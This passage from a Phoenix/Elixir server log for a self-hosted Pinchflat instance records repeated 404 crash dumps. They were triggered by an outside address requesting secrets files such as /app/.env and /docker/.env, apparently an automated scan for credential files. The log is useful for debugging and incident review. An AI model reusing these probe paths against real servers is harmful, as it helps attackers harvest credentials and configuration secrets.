params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:39.783 [info] GET /assets/.env 21:08:39.783 [debug] QUERY OK source="settings" db=0.1ms idle=89.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.784 [debug] QUERY OK source="settings" db=0.1ms idle=70.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.784 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.784 [info] GET /stripe/.env 21:08:39.784 [debug] QUERY OK source="settings" db=0.1ms idle=70.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.785 [debug] QUERY OK source="settings" db=0.0ms idle=18.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.785 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.784 [error] #PID<0.3200.0> running PinchflatWeb.Endpoint (connection #PID<0.3199.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3199.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49512}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3200.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fS6tPSsArAAAOCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3199.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49512}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3199.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49512}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3200.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:39.785 [error] #PID<0.3202.0> running PinchflatWeb.Endpoint (connection #PID<0.3201.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3201.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49516}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3202.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fTLOjzwtPgAAGwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3201.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49516}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3201.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49516}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3202.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:39.795 [info] GET /app/.env 21:08:39.795 [debug] QUERY OK source="settings" db=0.1ms idle=28.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.796 [debug] QUERY OK source="settings" db=0.2ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.796 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.796 [error] #PID<0.3204.0> running PinchflatWeb.Endpoint (connection #PID<0.3203.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49520}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3204.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fVw4mxTgrwAAGyC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49520}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49520}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3204.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:39.865 [info] GET /docker/.env 21:08:39.866 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=82.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.867 [debug] QUERY OK source="settings" db=0.2ms idle=82.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.867 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.867 [error] #PID<0.3206.0> running PinchflatWeb.Endpoint (connection #PID<0.3205.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /docker/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3205.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49526}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3206.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-fmo-w83tZUAAG0C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3205.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49526}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: 